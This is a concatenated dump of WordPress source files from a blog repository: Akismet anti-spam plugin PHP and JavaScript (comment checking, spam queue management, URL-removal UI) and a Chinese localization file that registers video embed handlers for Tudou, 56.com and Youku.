} // if the response is neither true nor false, hold the comment for moderation and schedule a recheck if ( 'true' != $response[1] && 'false' != $response[1] ) { if ( !current_user_can('moderate_comments') ) { add_filter('pre_comment_approved', 'akismet_result_hold'); } if ( !wp_next_scheduled( 'akismet_schedule_cron_recheck' ) ) { wp_schedule_single_event( time() + 1200, 'akismet_schedule_cron_recheck' ); } } if ( function_exists('wp_next_scheduled') && function_exists('wp_schedule_event') ) { // WP 2.1+: delete old comments daily if ( !wp_next_scheduled('akismet_scheduled_delete') ) wp_schedule_event(time(), 'daily', 'akismet_scheduled_delete'); } elseif ( (mt_rand(1, 10) == 3) ) { // WP 2.0: run this one time in ten akismet_delete_old(); } $akismet_last_comment = $commentdata; akismet_fix_scheduled_recheck(); return $commentdata; } add_action('preprocess_comment', 'akismet_auto_check_comment', 1); function akismet_delete_old() { global $wpdb; $now_gmt = current_time('mysql', 1); $comment_ids = $wpdb->get_col("SELECT comment_id FROM $wpdb->comments WHERE DATE_SUB('$now_gmt', INTERVAL 15 DAY) > comment_date_gmt AND comment_approved = 'spam'"); if ( empty( $comment_ids ) ) return; $comma_comment_ids = implode( ', ', array_map('intval', $comment_ids) ); do_action( 'delete_comment', $comment_ids ); $wpdb->query("DELETE FROM $wpdb->comments WHERE comment_id IN ( $comma_comment_ids )"); $wpdb->query("DELETE FROM $wpdb->commentmeta WHERE comment_id IN ( $comma_comment_ids )"); clean_comment_cache( $comment_ids ); $n = mt_rand(1, 5000); if ( apply_filters('akismet_optimize_table', ($n == 11)) ) // lucky number $wpdb->query("OPTIMIZE TABLE $wpdb->comments"); } function akismet_delete_old_metadata() { global $wpdb; $now_gmt = current_time( 'mysql', 1 ); $interval = apply_filters( 'akismet_delete_commentmeta_interval', 15 ); # enfore a minimum of 1 day $interval = absint( $interval ); if ( $interval < 1 ) { return; } // akismet_as_submitted meta values are large, so expire them // after $interval days regardless of the comment status while ( TRUE ) { $comment_ids = $wpdb->get_col( "SELECT $wpdb->comments.comment_id FROM $wpdb->commentmeta INNER JOIN $wpdb->comments USING(comment_id) WHERE meta_key = 'akismet_as_submitted' AND DATE_SUB('$now_gmt', INTERVAL {$interval} DAY) > comment_date_gmt LIMIT 10000" ); if ( empty( $comment_ids ) ) { return; } foreach ( $comment_ids as $comment_id ) { delete_comment_meta( $comment_id, 'akismet_as_submitted' ); } } /* $n = mt_rand( 1, 5000 ); if ( apply_filters( 'akismet_optimize_table', ( $n == 11 ), 'commentmeta' ) ) { // lucky number $wpdb->query( "OPTIMIZE TABLE $wpdb->commentmeta" ); } */ } add_action('akismet_scheduled_delete', 'akismet_delete_old'); add_action('akismet_scheduled_delete', 'akismet_delete_old_metadata'); function akismet_check_db_comment( $id, $recheck_reason = 'recheck_queue' ) { global $wpdb, $akismet_api_host, $akismet_api_port; $id = (int) $id; $c = $wpdb->get_row( "SELECT * FROM $wpdb->comments WHERE comment_ID = '$id'", ARRAY_A ); if ( !$c ) return; $c['user_ip'] = $c['comment_author_IP']; $c['user_agent'] = $c['comment_agent']; $c['referrer'] = ''; $c['blog'] = get_option('home'); $c['blog_lang'] = get_locale(); $c['blog_charset'] = get_option('blog_charset'); $c['permalink'] = get_permalink($c['comment_post_ID']); $id = $c['comment_ID']; if ( akismet_test_mode() ) $c['is_test'] = 'true'; $c['recheck_reason'] = $recheck_reason; $query_string = ''; foreach ( $c as $key => $data ) $query_string .= $key . '=' . urlencode( stripslashes($data) ) . '&'; $response = akismet_http_post($query_string, $akismet_api_host, '/1.1/comment-check', $akismet_api_port); return $response[1]; } function akismet_cron_recheck() { global $wpdb; $status = akismet_verify_key( akismet_get_key() ); if ( get_option( 'akismet_alert_code' ) || $status == 'invalid' ) { // since there is currently a problem with the key, reschedule a check for 6 hours hence wp_schedule_single_event( time() + 21600, 'akismet_schedule_cron_recheck' ); return false; } delete_option('akismet_available_servers'); $comment_errors = $wpdb->get_col( " SELECT comment_id FROM {$wpdb->prefix}commentmeta WHERE meta_key = 'akismet_error' LIMIT 100 " ); foreach ( (array) $comment_errors as $comment_id ) { // if the comment no longer exists, or is too old, remove the meta entry from the queue to avoid getting stuck $comment = get_comment( $comment_id ); if ( !$comment || strtotime( $comment->comment_date_gmt ) < strtotime( "-15 days" ) ) { delete_comment_meta( $comment_id, 'akismet_error' ); continue; } add_comment_meta( $comment_id, 'akismet_rechecking', true ); $status = akismet_check_db_comment( $comment_id, 'retry' ); $msg = ''; if ( $status == 'true' ) { $msg = __( 'Akismet caught this comment as spam during an automatic retry.' ); } elseif ( $status == 'false' ) { $msg = __( 'Akismet cleared this comment during an automatic retry.' ); } // If we got back a legit response then update the comment history // other wise just bail now and try again later. No point in // re-trying all the comments once we hit one failure. if ( !empty( $msg ) ) { delete_comment_meta( $comment_id, 'akismet_error' ); akismet_update_comment_history( $comment_id, $msg, 'cron-retry' ); update_comment_meta( $comment_id, 'akismet_result', $status ); // make sure the comment status is still pending. if it isn't, that means the user has already moved it elsewhere. $comment = get_comment( $comment_id ); if ( $comment && 'unapproved' == wp_get_comment_status( $comment_id ) ) { if ( $status == 'true' ) { wp_spam_comment( $comment_id ); } elseif ( $status == 'false' ) { // comment is good, but it's still in the pending queue. depending on the moderation settings // we may need to change it to approved. if ( check_comment($comment->comment_author, $comment->comment_author_email, $comment->comment_author_url, $comment->comment_content, $comment->comment_author_IP, $comment->comment_agent, $comment->comment_type) ) wp_set_comment_status( $comment_id, 1 ); } } } else { delete_comment_meta( $comment_id, 'akismet_rechecking' ); wp_schedule_single_event( time() + 1200, 'akismet_schedule_cron_recheck' ); return; } delete_comment_meta( $comment_id, 'akismet_rechecking' ); } $remaining = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->commentmeta WHERE meta_key = 'akismet_error'" ) ); if ( $remaining && !wp_next_scheduled('akismet_schedule_cron_recheck') ) { wp_schedule_single_event( time() + 1200, 'akismet_schedule_cron_recheck' ); } } add_action( 'akismet_schedule_cron_recheck', 'akismet_cron_recheck' ); function akismet_add_comment_nonce( $post_id ) { echo '<p style="display: none;">'; wp_nonce_field( 'akismet_comment_nonce_' . $post_id, 'akismet_comment_nonce', FALSE ); echo '</p>'; } $akismet_comment_nonce_option = apply_filters( 'akismet_comment_nonce', get_option( 'akismet_comment_nonce' ) ); if ( $akismet_comment_nonce_option == 'true' || $akismet_comment_nonce_option == '' ) add_action( 'comment_form', 'akismet_add_comment_nonce' ); global $wp_version; if ( '3.0.5' == $wp_version ) { remove_filter( 'comment_text', 'wp_kses_data' ); if ( is_admin() ) add_filter( 'comment_text', 'wp_kses_post' ); } function akismet_fix_scheduled_recheck() { $future_check = wp_next_scheduled( 'akismet_schedule_cron_recheck' ); if ( !$future_check ) { return; } if ( get_option( 'akismet_alert_code' ) > 0 ) { return; } $check_range = time() + 1200; if ( $future_check > $check_range ) { wp_clear_scheduled_hook( 'akismet_schedule_cron_recheck' ); wp_schedule_single_event( time() + 300, 'akismet_schedule_cron_recheck' ); } }
zyblog
trunk/zyblog/wp-content/plugins/akismet/akismet.php
PHP
asf20
22,870
jQuery(document).ready(function () { jQuery('.akismet-status').each(function () { var thisId = jQuery(this).attr('commentid'); jQuery(this).prependTo('#comment-' + thisId + ' .column-comment div:first-child'); }); jQuery('.akismet-user-comment-count').each(function () { var thisId = jQuery(this).attr('commentid'); jQuery(this).insertAfter('#comment-' + thisId + ' .author strong:first').show(); }); jQuery('#the-comment-list tr.comment .column-author a[title ^= "http://"]').each(function () { var thisTitle = jQuery(this).attr('title'); thisCommentId = jQuery(this).parents('tr:first').attr('id').split("-"); jQuery(this).attr("id", "author_comment_url_"+ thisCommentId[1]); if (thisTitle) { jQuery(this).after(' <a href="#" class="remove_url" commentid="'+ thisCommentId[1] +'" title="Remove this URL">x</a>'); } }); jQuery('.remove_url').live('click', function () { var thisId = jQuery(this).attr('commentid'); var data = { action: 'comment_author_deurl', _wpnonce: WPAkismet.comment_author_url_nonce, id: thisId }; jQuery.ajax({ url: ajaxurl, type: 'POST', data: data, beforeSend: function () { // Removes "x" link jQuery("a[commentid='"+ thisId +"']").hide(); // Show temp status jQuery("#author_comment_url_"+ thisId).html('<span>Removing...</span>'); }, success: function (response) { if (response) { // Show status/undo link jQuery("#author_comment_url_"+ thisId).attr('cid', thisId).addClass('akismet_undo_link_removal').html('<span>URL removed (</span>undo<span>)</span>'); } } }); return false; }); jQuery('.akismet_undo_link_removal').live('click', function () { var thisId = jQuery(this).attr('cid'); var thisUrl = jQuery(this).attr('href').replace("http://www.", "").replace("http://", ""); var data = { action: 'comment_author_reurl', _wpnonce: WPAkismet.comment_author_url_nonce, id: thisId, url: thisUrl }; jQuery.ajax({ url: ajaxurl, type: 'POST', data: data, beforeSend: function () { // Show temp status jQuery("#author_comment_url_"+ thisId).html('<span>Re-adding…</span>'); }, success: function (response) { if (response) { // Add "x" link jQuery("a[commentid='"+ thisId +"']").show(); // Show link jQuery("#author_comment_url_"+ thisId).removeClass('akismet_undo_link_removal').html(thisUrl); } } }); return false; }); jQuery('a[id^="author_comment_url"]').mouseover(function () { // Need to determine size of author column var thisParentWidth = jQuery(this).parent().width(); // It changes based on if there is a gravatar present thisParentWidth = (jQuery(this).parent().find('.grav-hijack').length) ? thisParentWidth - 42 + 'px' : thisParentWidth + 'px'; if (jQuery(this).find('.mShot').length == 0 && !jQuery(this).hasClass('akismet_undo_link_removal')) { var thisId = jQuery(this).attr('id').replace('author_comment_url_', ''); jQuery('.widefat td').css('overflow', 'visible'); jQuery(this).css('position', 'relative'); var thisHref = jQuery.URLEncode(jQuery(this).attr('href')); jQuery(this).append('<div class="mShot mshot-container" style="left: '+thisParentWidth+'"><div class="mshot-arrow"></div><img src="http://s.wordpress.com/mshots/v1/'+thisHref+'?w=450" width="450" class="mshot-image_'+thisId+'" style="margin: 0;" /></div>'); setTimeout(function () { jQuery('.mshot-image_'+thisId).attr('src', 'http://s.wordpress.com/mshots/v1/'+thisHref+'?w=450&r=2'); }, 6000); setTimeout(function () { jQuery('.mshot-image_'+thisId).attr('src', 'http://s.wordpress.com/mshots/v1/'+thisHref+'?w=450&r=3'); }, 12000); } else { jQuery(this).find('.mShot').css('left', thisParentWidth).show(); } }).mouseout(function () { jQuery(this).find('.mShot').hide(); }); }); // URL encode plugin jQuery.extend({URLEncode:function(c){var o='';var x=0;c=c.toString();var r=/(^[a-zA-Z0-9_.]*)/; while(x<c.length){var m=r.exec(c.substr(x)); if(m!=null && m.length>1 && m[1]!=''){o+=m[1];x+=m[1].length; }else{if(c[x]==' ')o+='+';else{var d=c.charCodeAt(x);var h=d.toString(16); o+='%'+(h.length<2?'0':'')+h.toUpperCase();}x++;}}return o;} }); // Preload mshot images after everything else has loaded jQuery(window).load(function() { jQuery('a[id^="author_comment_url"]').each(function () { jQuery.get('http://s.wordpress.com/mshots/v1/'+jQuery.URLEncode(jQuery(this).attr('href'))+'?w=450'); }); });
zyblog
trunk/zyblog/wp-content/plugins/akismet/akismet.js
JavaScript
asf20
4,600
<?php function akismet_spam_comments( $type = false, $page = 1, $per_page = 50 ) { global $wpdb; $page = (int) $page; if ( $page < 2 ) $page = 1; $per_page = (int) $per_page; if ( $per_page < 1 ) $per_page = 50; $start = ( $page - 1 ) * $per_page; $end = $start + $per_page; if ( $type ) { if ( 'comments' == $type || 'comment' == $type ) $type = ''; else $type = $wpdb->escape( $type ); return $wpdb->get_results( "SELECT * FROM $wpdb->comments WHERE comment_approved = 'spam' AND comment_type='$type' ORDER BY comment_date DESC LIMIT $start, $end"); } // All return $wpdb->get_results( "SELECT * FROM $wpdb->comments WHERE comment_approved = 'spam' ORDER BY comment_date DESC LIMIT $start, $end"); } // Totals for each comment type // returns array( type => count, ... ) function akismet_spam_totals() { global $wpdb; $totals = $wpdb->get_results( "SELECT comment_type, COUNT(*) AS cc FROM $wpdb->comments WHERE comment_approved = 'spam' GROUP BY comment_type" ); $return = array(); foreach ( $totals as $total ) $return[$total->comment_type ? $total->comment_type : 'comment'] = $total->cc; return $return; } function akismet_manage_page() { global $wpdb, $submenu, $wp_db_version; // WP 2.7 has its own spam management page if ( 8645 <= $wp_db_version ) return; $count = sprintf(__('Akismet Spam (%s)'), akismet_spam_count()); if ( isset( $submenu['edit-comments.php'] ) ) add_submenu_page('edit-comments.php', __('Akismet Spam'), $count, 'moderate_comments', 'akismet-admin', 'akismet_caught' ); elseif ( function_exists('add_management_page') ) add_management_page(__('Akismet Spam'), $count, 'moderate_comments', 'akismet-admin', 'akismet_caught'); } function akismet_caught() { global $wpdb, $comment, $akismet_caught, $akismet_nonce; akismet_recheck_queue(); if (isset($_POST['submit']) && 'recover' == $_POST['action'] && ! empty($_POST['not_spam'])) { check_admin_referer( $akismet_nonce ); if ( function_exists('current_user_can') && !current_user_can('moderate_comments') ) die(__('You do not have sufficient permission to moderate comments.')); $i = 0; foreach ($_POST['not_spam'] as $comment): $comment = (int) $comment; if ( function_exists('wp_set_comment_status') ) wp_set_comment_status($comment, 'approve'); else $wpdb->query("UPDATE $wpdb->comments SET comment_approved = '1' WHERE comment_ID = '$comment'"); akismet_submit_nonspam_comment($comment); ++$i; endforeach; $to = add_query_arg( 'recovered', $i, $_SERVER['HTTP_REFERER'] ); wp_safe_redirect( $to ); exit; } if ('delete' == $_POST['action']) { check_admin_referer( $akismet_nonce ); if ( function_exists('current_user_can') && !current_user_can('moderate_comments') ) die(__('You do not have sufficient permission to moderate comments.')); $delete_time = $wpdb->escape( $_POST['display_time'] ); $comment_ids = $wpdb->get_col( "SELECT comment_id FROM $wpdb->comments WHERE comment_approved = 'spam' AND '$delete_time' > comment_date_gmt" ); if ( !empty( $comment_ids ) ) { do_action( 'delete_comment', $comment_ids ); $wpdb->query( "DELETE FROM $wpdb->comments WHERE comment_id IN ( " . implode( ', ', $comment_ids ) . " )"); wp_cache_delete( 'akismet_spam_count', 'widget' ); } $to = add_query_arg( 'deleted', 'all', $_SERVER['HTTP_REFERER'] ); wp_safe_redirect( $to ); exit; } if ( isset( $_GET['recovered'] ) ) { $i = (int) $_GET['recovered']; echo '<div class="updated"><p>' . sprintf(__('%1$s comments recovered.'), $i) . "</p></div>"; } if (isset( $_GET['deleted'] ) ) echo '<div class="updated"><p>' . __('All spam deleted.') . '</p></div>'; if ( isset( $GLOBALS['submenu']['edit-comments.php'] ) ) $link = 'edit-comments.php'; else $link = 'edit.php'; ?> <style type="text/css"> .akismet-tabs { list-style: none; margin: 0; padding: 0; clear: both; border-bottom: 1px solid #ccc; height: 31px; margin-bottom: 20px; background: #ddd; border-top: 1px solid #bdbdbd; } .akismet-tabs li { float: left; margin: 5px 0 0 20px; } .akismet-tabs a { display: block; padding: 4px .5em 3px; border-bottom: none; color: #036; } .akismet-tabs .active a { background: #fff; border: 1px solid #ccc; border-bottom: none; color: #000; font-weight: bold; padding-bottom: 4px; } #akismetsearch { float: right; margin-top: -.5em; } #akismetsearch p { margin: 0; padding: 0; } </style> <div class="wrap"> <h2><?php _e('Caught Spam') ?></h2> <?php $count = get_option( 'akismet_spam_count' ); if ( $count ) { ?> <p><?php printf(__('Akismet has caught <strong>%1$s spam</strong> for you since you first installed it.'), number_format_i18n($count) ); ?></p> <?php } $spam_count = akismet_spam_count(); if ( 0 == $spam_count ) { echo '<p>'.__('You have no spam currently in the queue. Must be your lucky day. :)').'</p>'; echo '</div>'; } else { echo '<p>'.__('You can delete all of the spam from your database with a single click. This operation cannot be undone, so you may wish to check to ensure that no legitimate comments got through first. Spam is automatically deleted after 15 days, so don&#8217;t sweat it.').'</p>'; ?> <?php if ( !isset( $_POST['s'] ) ) { ?> <form method="post" action="<?php echo attribute_escape( add_query_arg( 'noheader', 'true' ) ); ?>"> <?php akismet_nonce_field($akismet_nonce) ?> <input type="hidden" name="action" value="delete" /> <?php printf(__('There are currently %1$s comments identified as spam.'), $spam_count); ?>&nbsp; &nbsp; <input type="submit" class="button delete" name="Submit" value="<?php _e('Delete all'); ?>" /> <input type="hidden" name="display_time" value="<?php echo current_time('mysql', 1); ?>" /> </form> <?php } ?> </div> <div class="wrap"> <?php if ( isset( $_POST['s'] ) ) { ?> <h2><?php _e('Search'); ?></h2> <?php } else { ?> <?php echo '<p>'.__('These are the latest comments identified as spam by Akismet. If you see any mistakes, simply mark the comment as "not spam" and Akismet will learn from the submission. If you wish to recover a comment from spam, simply select the comment, and click Not Spam. After 15 days we clean out the junk for you.').'</p>'; ?> <?php } ?> <?php if ( isset( $_POST['s'] ) ) { $s = $wpdb->escape($_POST['s']); $comments = $wpdb->get_results("SELECT * FROM $wpdb->comments WHERE (comment_author LIKE '%$s%' OR comment_author_email LIKE '%$s%' OR comment_author_url LIKE ('%$s%') OR comment_author_IP LIKE ('%$s%') OR comment_content LIKE ('%$s%') ) AND comment_approved = 'spam' ORDER BY comment_date DESC"); } else { if ( isset( $_GET['apage'] ) ) $page = (int) $_GET['apage']; else $page = 1; if ( $page < 2 ) $page = 1; $current_type = false; if ( isset( $_GET['ctype'] ) ) $current_type = preg_replace( '|[^a-z]|', '', $_GET['ctype'] ); $comments = akismet_spam_comments( $current_type, $page ); $total = akismet_spam_count( $current_type ); $totals = akismet_spam_totals(); ?> <ul class="akismet-tabs"> <li <?php if ( !isset( $_GET['ctype'] ) ) echo ' class="active"'; ?>><a href="edit-comments.php?page=akismet-admin"><?php _e('All'); ?></a></li> <?php foreach ( $totals as $type => $type_count ) { if ( 'comment' == $type ) { $type = 'comments'; $show = __('Comments'); } else { $show = ucwords( $type ); } $type_count = number_format_i18n( $type_count ); $extra = $current_type === $type ? ' class="active"' : ''; echo "<li $extra><a href='edit-comments.php?page=akismet-admin&amp;ctype=$type'>$show ($type_count)</a></li>"; } do_action( 'akismet_tabs' ); // so plugins can add more tabs easily ?> </ul> <?php } if ($comments) { ?> <form method="post" action="<?php echo attribute_escape("$link?page=akismet-admin"); ?>" id="akismetsearch"> <p> <input type="text" name="s" value="<?php if (isset($_POST['s'])) echo attribute_escape($_POST['s']); ?>" size="17" /> <input type="submit" class="button" name="submit" value="<?php echo attribute_escape(__('Search Spam &raquo;')) ?>" /> </p> </form> <?php if ( $total > 50 ) { $total_pages = ceil( $total / 50 ); $r = ''; if ( 1 < $page ) { $args['apage'] = ( 1 == $page - 1 ) ? '' : $page - 1; $r .= '<a class="prev" href="' . clean_url(add_query_arg( $args )) . '">'. __('&laquo; Previous Page') .'</a>' . "\n"; } if ( ( $total_pages = ceil( $total / 50 ) ) > 1 ) { for ( $page_num = 1; $page_num <= $total_pages; $page_num++ ) : if ( $page == $page_num ) : $r .= "<strong>$page_num</strong>\n"; else : $p = false; if ( $page_num < 3 || ( $page_num >= $page - 3 && $page_num <= $page + 3 ) || $page_num > $total_pages - 3 ) : $args['apage'] = ( 1 == $page_num ) ? '' : $page_num; $r .= '<a class="page-numbers" href="' . clean_url(add_query_arg($args)) . '">' . ( $page_num ) . "</a>\n"; $in = true; elseif ( $in == true ) : $r .= "...\n"; $in = false; endif; endif; endfor; } if ( ( $page ) * 50 < $total || -1 == $total ) { $args['apage'] = $page + 1; $r .= '<a class="next" href="' . clean_url(add_query_arg($args)) . '">'. __('Next Page &raquo;') .'</a>' . "\n"; } echo "<p>$r</p>"; ?> <?php } ?> <form style="clear: both;" method="post" action="<?php echo attribute_escape( add_query_arg( 'noheader', 'true' ) ); ?>"> <?php akismet_nonce_field($akismet_nonce) ?> <input type="hidden" name="action" value="recover" /> <ul id="spam-list" class="commentlist" style="list-style: none; margin: 0; padding: 0;"> <?php $i = 0; foreach($comments as $comment) { $i++; $comment_date = mysql2date(get_option("date_format") . " @ " . get_option("time_format"), $comment->comment_date); $post = get_post($comment->comment_post_ID); $post_title = $post->post_title; if ($i % 2) $class = 'class="alternate"'; else $class = ''; echo "\n\t<li id='comment-$comment->comment_ID' $class>"; ?> <p><strong><?php comment_author() ?></strong> <?php if ($comment->comment_author_email) { ?>| <?php comment_author_email_link() ?> <?php } if ($comment->comment_author_url && 'http://' != $comment->comment_author_url) { ?> | <?php comment_author_url_link() ?> <?php } ?>| <?php _e('IP:') ?> <a href="http://ws.arin.net/cgi-bin/whois.pl?queryinput=<?php comment_author_IP() ?>"><?php comment_author_IP() ?></a></p> <?php comment_text() ?> <p><label for="spam-<?php echo $comment->comment_ID; ?>"> <input type="checkbox" id="spam-<?php echo $comment->comment_ID; ?>" name="not_spam[]" value="<?php echo $comment->comment_ID; ?>" /> <?php _e('Not Spam') ?></label> &#8212; <?php comment_date('M j, g:i A'); ?> &#8212; [ <?php $post = get_post($comment->comment_post_ID); $post_title = wp_specialchars( $post->post_title, 'double' ); $post_title = ('' == $post_title) ? "# $comment->comment_post_ID" : $post_title; ?> <a href="<?php echo get_permalink($comment->comment_post_ID); ?>" title="<?php echo $post_title; ?>"><?php _e('View Post') ?></a> ] </p> <?php } ?> </ul> <?php if ( $total > 50 ) { $total_pages = ceil( $total / 50 ); $r = ''; if ( 1 < $page ) { $args['apage'] = ( 1 == $page - 1 ) ? '' : $page - 1; $r .= '<a class="prev" href="' . clean_url(add_query_arg( $args )) . '">'. __('&laquo; Previous Page') .'</a>' . "\n"; } if ( ( $total_pages = ceil( $total / 50 ) ) > 1 ) { for ( $page_num = 1; $page_num <= $total_pages; $page_num++ ) : if ( $page == $page_num ) : $r .= "<strong>$page_num</strong>\n"; else : $p = false; if ( $page_num < 3 || ( $page_num >= $page - 3 && $page_num <= $page + 3 ) || $page_num > $total_pages - 3 ) : $args['apage'] = ( 1 == $page_num ) ? '' : $page_num; $r .= '<a class="page-numbers" href="' . clean_url(add_query_arg($args)) . '">' . ( $page_num ) . "</a>\n"; $in = true; elseif ( $in == true ) : $r .= "...\n"; $in = false; endif; endif; endfor; } if ( ( $page ) * 50 < $total || -1 == $total ) { $args['apage'] = $page + 1; $r .= '<a class="next" href="' . clean_url(add_query_arg($args)) . '">'. __('Next Page &raquo;') .'</a>' . "\n"; } echo "<p>$r</p>"; } ?> <p class="submit"> <input type="submit" name="submit" value="<?php echo attribute_escape(__('De-spam marked comments &raquo;')); ?>" /> </p> <p><?php _e('Comments you de-spam will be submitted to Akismet as mistakes so it can learn and get better.'); ?></p> </form> <?php } else { ?> <p><?php _e('No results found.'); ?></p> <?php } ?> <?php if ( !isset( $_POST['s'] ) ) { ?> <form method="post" action="<?php echo attribute_escape( add_query_arg( 'noheader', 'true' ) ); ?>"> <?php akismet_nonce_field($akismet_nonce) ?> <p><input type="hidden" name="action" value="delete" /> <?php printf(__('There are currently %1$s comments identified as spam.'), $spam_count); ?>&nbsp; &nbsp; <input type="submit" name="Submit" class="button" value="<?php echo attribute_escape(__('Delete all')); ?>" /> <input type="hidden" name="display_time" value="<?php echo current_time('mysql', 1); ?>" /></p> </form> <?php } ?> </div> <?php } } add_action('admin_menu', 'akismet_manage_page'); function redirect_old_akismet_urls( ) { global $wp_db_version; $script_name = array_pop( split( '/', $_SERVER['PHP_SELF'] ) ); $page = ''; if ( !empty( $_GET['page'] ) ) $page = $_GET['page']; // 2.7 redirect for people who might have bookmarked the old page if ( 8204 < $wp_db_version && ( 'edit-comments.php' == $script_name || 'edit.php' == $script_name ) && 'akismet-admin' == $page ) { $new_url = esc_url( 'edit-comments.php?comment_status=spam' ); wp_safe_redirect( $new_url, 301 ); exit; } } add_action( 'admin_init', 'redirect_old_akismet_urls' ); // For WP <= 2.3.x global $pagenow; if ( 'moderation.php' == $pagenow ) { function akismet_recheck_button( $page ) { global $submenu; if ( isset( $submenu['edit-comments.php'] ) ) $link = 'edit-comments.php'; else $link = 'edit.php'; $button = "<a href='$link?page=akismet-admin&amp;recheckqueue=true&amp;noheader=true' style='display: block; width: 100px; position: absolute; right: 7%; padding: 5px; font-size: 14px; text-decoration: underline; background: #fff; border: 1px solid #ccc;'>" . __('Recheck Queue for Spam') . "</a>"; $page = str_replace( '<div class="wrap">', '<div class="wrap">' . $button, $page ); return $page; } if ( $wpdb->get_var( "SELECT COUNT(*) FROM $wpdb->comments WHERE comment_approved = '0'" ) ) ob_start( 'akismet_recheck_button' ); } // This option causes tons of FPs, was removed in 2.1 function akismet_kill_proxy_check( $option ) { return 0; } add_filter('option_open_proxy_check', 'akismet_kill_proxy_check');
zyblog
trunk/zyblog/wp-content/plugins/akismet/legacy.php
PHP
asf20
14,480
<?php # Silence is golden.
zyblog
trunk/zyblog/wp-content/plugins/akismet/index.php
PHP
asf20
27
<?php // Silence is golden. ?>
zyblog
trunk/zyblog/wp-content/plugins/index.php
PHP
asf20
30
<?php /** * WordPress China Localization Patches Collection */ /** * Legacy database options cleanup * * Cleanup of all options that were introduced pre-3.4. * To save time, this function is only to be called on admin pages. * * @since 3.4.0 */ function zh_cn_l10n_legacy_option_cleanup() { // 3.3 series delete_site_option( 'zh_cn_l10n_preference_patches' ); // 3.0.5, 3.1 series, 3.2 series delete_site_option( 'zh_cn_language_pack_enable_chinese_fake_oembed' ); // 3.0.1, 3.0.2, 3.0.3, 3.0.4 delete_site_option( 'zh_cn_language_pack_options_version' ); delete_site_option( 'zh_cn_language_pack_enable_backend_style_modifications' ); // awkward ones... delete_site_option( 'zh_cn_language_pack_enable_icpip_num_show' ); delete_site_option( 'zh_cn_language_pack_icpip_num' ); delete_site_option( 'zh_cn_language_pack_is_configured' ); } add_action( 'admin_init', 'zh_cn_l10n_legacy_option_cleanup' ); /** * Tudou wp_embed handler * * Embed code last updated: * Tue, 05 Jun 2012 22:23:03 -0400 * * Feel free to submit or correct URL formats here: * http://cn.wordpress.org/contact/ * * @since 3.4.0 */ function wp_embed_handler_tudou( $matches, $attr, $url, $rawattr ) { $embed = sprintf( '<embed src="http://www.tudou.com/v/%1$s/&resourceId=0_05_05_99&bid=05/v.swf" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" wmode="opaque" width="480" height="400"></embed>', esc_attr( $matches['video_id'] ) ); return apply_filters( 'embed_tudou', $embed, $matches, $attr, $url, $rawattr ); } wp_embed_register_handler( 'tudou', '#https?://(?:www\.)?tudou\.com/(?:programs/view|listplay/(?<list_id>[a-z0-9_=\-]+))/(?<video_id>[a-z0-9_=\-]+)#i', 'wp_embed_handler_tudou' ); /** * 56.com wp_embed handler * * Embed code last updated: * Tue, 05 Jun 2012 23:03:29 -0400 * * Feel free to submit or correct URL formats here: * http://cn.wordpress.org/contact/ * * @since 3.4.0 */ function wp_embed_handler_56com( $matches, $attr, $url, $rawattr ) { $matches['video_id'] = $matches['video_id1'] == '' ? $matches['video_id2'] : $matches['video_id1']; $embed = sprintf( "<embed src='http://player.56.com/v_%1\$s.swf' type='application/x-shockwave-flash' width='480' height='405' allowFullScreen='true' allowNetworking='all' allowScriptAccess='always'></embed>", esc_attr( $matches['video_id'] ) ); return apply_filters( 'embed_56com', $embed, $matches, $attr, $url, $rawattr ); } wp_embed_register_handler( '56com', '#https?://(?:www\.)?56\.com/[a-z0-9]+/(?:play_album\-aid\-[0-9]+_vid\-(?<video_id1>[a-z0-9_=\-]+)|v_(?<video_id2>[a-z0-9_=\-]+))#i', 'wp_embed_handler_56com' ); /** * Youku wp_embed handler * * Embed code last updated: * Wed, 06 Jun 2012 00:36:11 -0400 * * Feel free to submit or correct URL formats here: * http://cn.wordpress.org/contact/ * * @since 3.4.0 */ function wp_embed_handler_youku( $matches, $attr, $url, $rawattr ) { $embed = sprintf( '<embed src="http://player.youku.com/player.php/sid/%1$s/v.swf" allowFullScreen="true" quality="high" width="480" height="400" align="middle" allowScriptAccess="always" type="application/x-shockwave-flash"></embed>', esc_attr( $matches['video_id'] ) ); return apply_filters( 'embed_youku', $embed, $matches, $attr, $url, $rawattr ); } wp_embed_register_handler( 'youku', '#https?://v\.youku\.com/v_show/id_(?<video_id>[a-z0-9_=\-]+)#i', 'wp_embed_handler_youku' ); /** * Chinese administration screens style - enqueue stylesheet * * This patch serves as a work-around to fix the font-size and font-style. * * Submit better CSS rules here: * http://cn.wordpress.org/contact/ * * @since 3.3.0 */ function zh_cn_l10n_patch_admin_screens_style_enqueue_stylesheet() { wp_register_style( 'zh-cn-l10n-administration-screens', content_url( ( WP_DEBUG ? '/languages/zh_CN-administration-screens.dev.css' : '/languages/zh_CN-administration-screens.css' ) ), array( 'wp-admin' ), '20111120'); wp_enqueue_style( 'zh-cn-l10n-administration-screens' ); } add_action( 'admin_init', 'zh_cn_l10n_patch_admin_screens_style_enqueue_stylesheet' ); /** * Chinese character count - register script * * This patch serves as a work-around to fix the built-in word-count.js. * * The sum of Chinese characters and English words will show up in "word count" * field once enabled. * * @since 3.3.0 */ function zh_cn_l10n_patch_character_count_register_script() { wp_deregister_script( 'word-count' ); wp_register_script( 'word-count', content_url( ( WP_DEBUG ? '/languages/zh_CN-word-count.dev.js' : '/languages/zh_CN-word-count.js' ) ), array( 'jquery' ), '20120605' ); } add_action( 'admin_footer', 'zh_cn_l10n_patch_character_count_register_script' ); ?>
zyblog
trunk/zyblog/wp-content/languages/zh_CN.php
PHP
asf20
4,843
